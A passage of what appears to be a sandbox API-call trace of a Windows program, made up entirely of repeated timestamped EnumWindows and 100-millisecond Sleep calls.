lParam=0x410000) [0179.018] Sleep (dwMilliseconds=0x64) [0179.020] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.020] Sleep (dwMilliseconds=0x64) [0179.022] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.023] Sleep (dwMilliseconds=0x64) [0179.026] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.027] Sleep (dwMilliseconds=0x64) [0179.029] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.029] Sleep (dwMilliseconds=0x64) [0179.031] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.031] Sleep (dwMilliseconds=0x64) [0179.033] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.033] Sleep (dwMilliseconds=0x64) [0179.034] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.035] Sleep (dwMilliseconds=0x64) [0179.036] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.036] Sleep (dwMilliseconds=0x64) [0179.037] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.038] Sleep (dwMilliseconds=0x64) [0179.039] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.039] Sleep (dwMilliseconds=0x64) [0179.040] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.041] Sleep (dwMilliseconds=0x64) [0179.042] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.042] Sleep (dwMilliseconds=0x64) [0179.044] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.044] Sleep (dwMilliseconds=0x64) [0179.046] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.046] Sleep (dwMilliseconds=0x64) [0179.047] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.048] Sleep (dwMilliseconds=0x64) [0179.049] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.049] Sleep (dwMilliseconds=0x64) [0179.051] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.051] Sleep (dwMilliseconds=0x64) [0179.054] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.054] Sleep (dwMilliseconds=0x64) [0179.059] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.059] Sleep (dwMilliseconds=0x64) [0179.061] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.061] Sleep (dwMilliseconds=0x64) [0179.062] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.063] Sleep (dwMilliseconds=0x64) [0179.064] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.064] Sleep (dwMilliseconds=0x64) [0179.066] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.066] Sleep (dwMilliseconds=0x64) [0179.068] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.068] Sleep (dwMilliseconds=0x64) [0179.069] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.070] Sleep (dwMilliseconds=0x64) [0179.071] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.072] Sleep (dwMilliseconds=0x64) [0179.074] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.074] Sleep (dwMilliseconds=0x64) [0179.075] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.076] Sleep (dwMilliseconds=0x64) [0179.077] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.077] Sleep (dwMilliseconds=0x64) [0179.078] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.079] Sleep (dwMilliseconds=0x64) [0179.081] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.081] Sleep (dwMilliseconds=0x64) [0179.083] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.083] Sleep (dwMilliseconds=0x64) [0179.084] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.085] Sleep (dwMilliseconds=0x64) [0179.087] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.087] Sleep (dwMilliseconds=0x64) [0179.089] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.089] Sleep (dwMilliseconds=0x64) [0179.094] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.094] Sleep (dwMilliseconds=0x64) [0179.095] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.096] Sleep (dwMilliseconds=0x64) [0179.097] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.097] Sleep (dwMilliseconds=0x64) [0179.099] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.099] Sleep (dwMilliseconds=0x64) [0179.100] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.101] Sleep (dwMilliseconds=0x64) [0179.102] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.102] Sleep (dwMilliseconds=0x64) [0179.103] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.104] Sleep (dwMilliseconds=0x64) [0179.105] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.106] Sleep (dwMilliseconds=0x64) [0179.107] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.107] Sleep (dwMilliseconds=0x64) [0179.108] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.109] Sleep (dwMilliseconds=0x64) [0179.148] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.149] Sleep (dwMilliseconds=0x64) [0179.150] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.151] Sleep (dwMilliseconds=0x64) [0179.152] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.152] Sleep (dwMilliseconds=0x64) [0179.154] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.154] Sleep (dwMilliseconds=0x64) [0179.155] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.156] Sleep (dwMilliseconds=0x64) [0179.157] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.157] Sleep (dwMilliseconds=0x64) [0179.158] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.158] Sleep (dwMilliseconds=0x64) [0179.160] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.160] Sleep (dwMilliseconds=0x64) [0179.162] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.162] Sleep (dwMilliseconds=0x64) [0179.164] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.164] Sleep (dwMilliseconds=0x64) [0179.166] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.166] Sleep (dwMilliseconds=0x64) [0179.170] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.170] Sleep (dwMilliseconds=0x64) [0179.173] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.174] Sleep (dwMilliseconds=0x64) [0179.177] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.177] Sleep (dwMilliseconds=0x64) [0179.178] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.178] Sleep (dwMilliseconds=0x64) [0179.180] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.180] Sleep (dwMilliseconds=0x64) [0179.182] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.182] Sleep (dwMilliseconds=0x64) [0179.183] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.184] Sleep (dwMilliseconds=0x64) [0179.185] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.185] Sleep (dwMilliseconds=0x64) [0179.187] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.187] Sleep (dwMilliseconds=0x64) [0179.189] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.189] Sleep (dwMilliseconds=0x64) [0179.191] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.191] Sleep (dwMilliseconds=0x64) [0179.193] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.193] Sleep (dwMilliseconds=0x64) [0179.195] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.195] Sleep (dwMilliseconds=0x64) [0179.197] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.197] Sleep (dwMilliseconds=0x64) [0179.199] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.199] Sleep (dwMilliseconds=0x64) [0179.200] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.200] Sleep (dwMilliseconds=0x64) [0179.202] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.202] Sleep (dwMilliseconds=0x64) [0179.204] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.204] Sleep (dwMilliseconds=0x64) [0179.207] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.207] Sleep (dwMilliseconds=0x64) [0179.208] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.208] Sleep (dwMilliseconds=0x64) [0179.210] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.210] Sleep (dwMilliseconds=0x64) [0179.211] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.212] Sleep (dwMilliseconds=0x64) [0179.215] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.215] Sleep (dwMilliseconds=0x64) [0179.217] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.217] Sleep (dwMilliseconds=0x64) [0179.218] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.218] Sleep (dwMilliseconds=0x64) [0179.220] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.220] Sleep (dwMilliseconds=0x64) [0179.222] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.222] Sleep (dwMilliseconds=0x64) [0179.224] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.224] Sleep (dwMilliseconds=0x64) [0179.226] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.226] Sleep (dwMilliseconds=0x64) [0179.227] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.227] Sleep (dwMilliseconds=0x64) [0179.229] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.229] Sleep (dwMilliseconds=0x64) [0179.231] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.231] Sleep (dwMilliseconds=0x64) [0179.233] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.233] Sleep (dwMilliseconds=0x64) [0179.235] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.236] Sleep (dwMilliseconds=0x64) [0179.237] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.237] Sleep (dwMilliseconds=0x64) [0179.264] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.264] Sleep (dwMilliseconds=0x64) [0179.267] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.267] Sleep (dwMilliseconds=0x64) [0179.268] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.268] Sleep (dwMilliseconds=0x64) [0179.270] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.270] Sleep (dwMilliseconds=0x64) [0179.272] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.272] Sleep (dwMilliseconds=0x64) [0179.273] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.274] Sleep (dwMilliseconds=0x64) [0179.275] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.275] Sleep (dwMilliseconds=0x64) [0179.277] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.277] Sleep (dwMilliseconds=0x64) [0179.278] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.278] Sleep (dwMilliseconds=0x64) [0179.282] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.282] Sleep (dwMilliseconds=0x64) [0179.288] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.288] Sleep (dwMilliseconds=0x64) [0179.289] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.289] Sleep (dwMilliseconds=0x64) [0179.291] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.291] Sleep (dwMilliseconds=0x64) [0179.292] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.292] Sleep (dwMilliseconds=0x64) [0179.294] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.294] Sleep (dwMilliseconds=0x64) [0179.296] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.296] Sleep (dwMilliseconds=0x64) [0179.298] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.298] Sleep (dwMilliseconds=0x64) [0179.300] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.300] Sleep (dwMilliseconds=0x64) [0179.301] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.301] Sleep (dwMilliseconds=0x64) [0179.370] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.370] Sleep (dwMilliseconds=0x64) [0179.372] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.372] Sleep (dwMilliseconds=0x64) [0179.373] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.373] Sleep (dwMilliseconds=0x64) [0179.375] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.375] Sleep (dwMilliseconds=0x64) [0179.376] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.377] Sleep (dwMilliseconds=0x64) [0179.378] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.378] Sleep (dwMilliseconds=0x64) [0179.380] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.380] Sleep (dwMilliseconds=0x64) [0179.382] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.382] Sleep (dwMilliseconds=0x64) [0179.383] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.383] Sleep (dwMilliseconds=0x64) [0179.385] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.386] Sleep (dwMilliseconds=0x64) [0179.387] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.387] Sleep (dwMilliseconds=0x64) [0179.389] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.389] Sleep (dwMilliseconds=0x64) [0179.390] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.390] Sleep (dwMilliseconds=0x64) [0179.392] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.392] Sleep (dwMilliseconds=0x64) [0179.394] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.394] Sleep (dwMilliseconds=0x64) [0179.397] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.397] Sleep (dwMilliseconds=0x64) [0179.399] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.399] Sleep (dwMilliseconds=0x64) [0179.411] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.412] Sleep (dwMilliseconds=0x64) [0179.413] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.413] Sleep (dwMilliseconds=0x64) [0179.415] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.415] Sleep (dwMilliseconds=0x64) [0179.416] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.416] Sleep (dwMilliseconds=0x64) [0179.418] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.418] Sleep (dwMilliseconds=0x64) [0179.419] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.419] Sleep (dwMilliseconds=0x64) [0179.421] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.422] Sleep (dwMilliseconds=0x64) [0179.424] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.424] Sleep (dwMilliseconds=0x64) [0179.426] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.426] Sleep (dwMilliseconds=0x64) [0179.427] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.427] Sleep (dwMilliseconds=0x64) [0179.429] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.429] Sleep (dwMilliseconds=0x64) [0179.430] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.430] Sleep (dwMilliseconds=0x64) [0179.432] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.432] Sleep (dwMilliseconds=0x64) [0179.433] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.433] Sleep (dwMilliseconds=0x64) [0179.435] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.435] Sleep (dwMilliseconds=0x64) [0179.436] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.436] Sleep (dwMilliseconds=0x64) [0179.438] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.438] Sleep (dwMilliseconds=0x64) [0179.439] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.439] Sleep (dwMilliseconds=0x64) [0179.441] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.441] Sleep (dwMilliseconds=0x64) [0179.551] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.552] Sleep (dwMilliseconds=0x64) [0179.635] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.635] Sleep (dwMilliseconds=0x64) [0179.664] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.665] Sleep (dwMilliseconds=0x64) [0179.666] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.667] Sleep (dwMilliseconds=0x64) [0179.668] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.668] Sleep (dwMilliseconds=0x64) [0179.670] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.670] Sleep (dwMilliseconds=0x64) [0179.671] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.672] Sleep (dwMilliseconds=0x64) [0179.673] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.673] Sleep (dwMilliseconds=0x64) [0179.675] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.675] Sleep (dwMilliseconds=0x64) [0179.677] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.677] Sleep (dwMilliseconds=0x64) [0179.679] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.679] Sleep (dwMilliseconds=0x64) [0179.681] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.681] Sleep (dwMilliseconds=0x64) [0179.682] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.683] Sleep (dwMilliseconds=0x64) [0179.684] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.684] Sleep (dwMilliseconds=0x64) [0179.686] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.686] Sleep (dwMilliseconds=0x64) [0179.687] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.687] Sleep (dwMilliseconds=0x64) [0179.689] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.689] Sleep (dwMilliseconds=0x64) [0179.690] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.691] Sleep (dwMilliseconds=0x64) [0179.692] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.692] Sleep (dwMilliseconds=0x64) [0179.693] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.693] Sleep (dwMilliseconds=0x64) [0179.695] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.695] Sleep (dwMilliseconds=0x64) [0179.699] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.701] Sleep (dwMilliseconds=0x64) [0179.703] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.703] Sleep (dwMilliseconds=0x64) [0179.705] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.705] Sleep (dwMilliseconds=0x64) [0179.706] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.706] Sleep (dwMilliseconds=0x64) [0179.709] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.709] Sleep (dwMilliseconds=0x64) [0179.711] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.711] Sleep (dwMilliseconds=0x64) [0179.712] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.713] Sleep (dwMilliseconds=0x64) [0179.714] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.714] Sleep (dwMilliseconds=0x64) [0179.716] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.716] Sleep (dwMilliseconds=0x64) [0179.717] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.718] Sleep (dwMilliseconds=0x64) [0179.721] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.721] Sleep (dwMilliseconds=0x64) [0179.722] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.723] Sleep (dwMilliseconds=0x64) [0179.724] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.724] Sleep (dwMilliseconds=0x64) [0179.726] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.726] Sleep (dwMilliseconds=0x64) [0179.727] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.728] Sleep (dwMilliseconds=0x64) [0179.729] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.730] Sleep (dwMilliseconds=0x64) [0179.731] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.731] Sleep (dwMilliseconds=0x64) [0179.735] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.736] Sleep (dwMilliseconds=0x64) [0179.762] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.763] Sleep (dwMilliseconds=0x64) [0179.764] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.764] Sleep (dwMilliseconds=0x64) [0179.766] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.766] Sleep (dwMilliseconds=0x64) [0179.768] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.769] Sleep (dwMilliseconds=0x64) [0179.770] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.770] Sleep (dwMilliseconds=0x64) [0179.772] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.772] Sleep (dwMilliseconds=0x64) [0179.773] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.773] Sleep (dwMilliseconds=0x64) [0179.775] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.775] Sleep (dwMilliseconds=0x64) [0179.776] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.777] Sleep (dwMilliseconds=0x64) [0179.778] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.779] Sleep (dwMilliseconds=0x64) [0179.780] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.780] Sleep (dwMilliseconds=0x64) [0179.782] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.782] Sleep (dwMilliseconds=0x64) [0179.784] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.784] Sleep (dwMilliseconds=0x64) [0179.785] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.785] Sleep (dwMilliseconds=0x64) [0179.787] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.787] Sleep (dwMilliseconds=0x64) [0179.788] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.788] Sleep (dwMilliseconds=0x64) [0179.790] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.790] Sleep (dwMilliseconds=0x64) [0179.791] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.791] Sleep (dwMilliseconds=0x64) [0179.836] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.836] Sleep (dwMilliseconds=0x64) [0179.838] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.838] Sleep (dwMilliseconds=0x64) [0179.841] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.841] Sleep (dwMilliseconds=0x64) [0179.844] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.844] Sleep (dwMilliseconds=0x64) [0179.897] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.897] Sleep (dwMilliseconds=0x64) [0179.898] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.899] Sleep (dwMilliseconds=0x64) [0179.905] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.906] Sleep (dwMilliseconds=0x64) [0179.907] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.908] Sleep (dwMilliseconds=0x64) [0179.910] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.910] Sleep (dwMilliseconds=0x64) [0179.993] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.994] Sleep (dwMilliseconds=0x64) [0180.037] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.037] Sleep (dwMilliseconds=0x64) [0180.173] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.173] Sleep (dwMilliseconds=0x64) [0180.224] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.224] Sleep (dwMilliseconds=0x64) [0180.468] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.469] Sleep (dwMilliseconds=0x64) [0180.527] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.528] Sleep (dwMilliseconds=0x64) [0180.560] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.560] Sleep (dwMilliseconds=0x64) [0180.566] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.567] Sleep (dwMilliseconds=0x64) [0180.569] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.570] Sleep (dwMilliseconds=0x64) [0180.575] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.575] Sleep (dwMilliseconds=0x64) [0180.576] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.576] Sleep (dwMilliseconds=0x64) [0180.578] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.578] Sleep (dwMilliseconds=0x64) [0180.579] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.579] Sleep (dwMilliseconds=0x64) [0180.582] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.582] Sleep (dwMilliseconds=0x64) [0180.585] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.585] Sleep (dwMilliseconds=0x64) [0180.592] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.592] Sleep (dwMilliseconds=0x64) [0180.593] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.593] Sleep (dwMilliseconds=0x64) [0180.595] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.595] Sleep (dwMilliseconds=0x64) [0180.597] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.597] Sleep (dwMilliseconds=0x64) [0180.599] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.599] Sleep (dwMilliseconds=0x64) [0180.601] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.601] Sleep (dwMilliseconds=0x64) [0180.602] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.602] Sleep (dwMilliseconds=0x64) [0180.604] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.604] Sleep (dwMilliseconds=0x64) [0180.605] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.605] Sleep (dwMilliseconds=0x64) [0180.607] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.607] Sleep (dwMilliseconds=0x64) [0180.609] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.609] Sleep (dwMilliseconds=0x64) [0180.611] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.611] Sleep (dwMilliseconds=0x64) [0180.613] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.613] Sleep (dwMilliseconds=0x64) [0180.615] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.616] Sleep (dwMilliseconds=0x64) [0180.617] EnumWindows 